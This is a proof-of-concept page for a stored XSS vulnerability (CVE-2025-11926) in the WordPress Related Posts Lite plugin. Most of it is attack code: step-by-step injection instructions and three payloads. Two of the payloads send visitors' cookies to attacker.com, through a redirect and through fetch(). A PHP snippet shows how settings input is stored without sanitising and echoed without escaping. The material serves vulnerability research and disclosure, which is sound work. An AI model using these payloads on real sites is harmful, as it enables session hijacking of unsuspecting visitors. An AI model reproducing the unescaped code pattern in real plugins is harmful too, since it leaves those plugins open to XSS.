CVE-2025-11926：WordPress Related Posts Lite插件存储型XSS漏洞

<!-- PoC for CVE-2025-11926: Stored XSS in Related Posts Lite WordPress Plugin This PoC demonstrates how an authenticated administrator can inject malicious JavaScript via the plugin's admin settings page. --> <!-- Step 1: Login as administrator and navigate to the Related Posts Lite settings page --> <!-- Step 2: Inject the following payload into a vulnerable settings field (e.g., custom title or header text field) --> <!-- Payload Option 1: Script tag injection --> <script>alert('XSS-CVE-2025-11926');document.location='https://attacker.com/steal?cookie='+document.cookie;</script> <!-- Payload Option 2: Img tag with onerror handler (bypasses basic filters) --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- Payload Option 3: SVG with onload event --> <svg/onload=alert(document.domain)> <!-- Step 3: Save the settings. The malicious payload is now stored in the database. --> <!-- Step 4: When any user visits a page displaying the related posts, the XSS payload executes in their browser. --> <?php // Conceptual exploit snippet (for educational/research purposes only) // Simulates the vulnerable code path in Related Posts Lite plugin $user_input = $_POST['related_posts_lite_header_text']; // No sanitization update_option('rpl_header_text', $user_input); // Stored as-is // Later, when rendering: echo '<div class="rpl-header">' . get_option('rpl_header_text') . '</div>'; // No escaping -> XSS ?>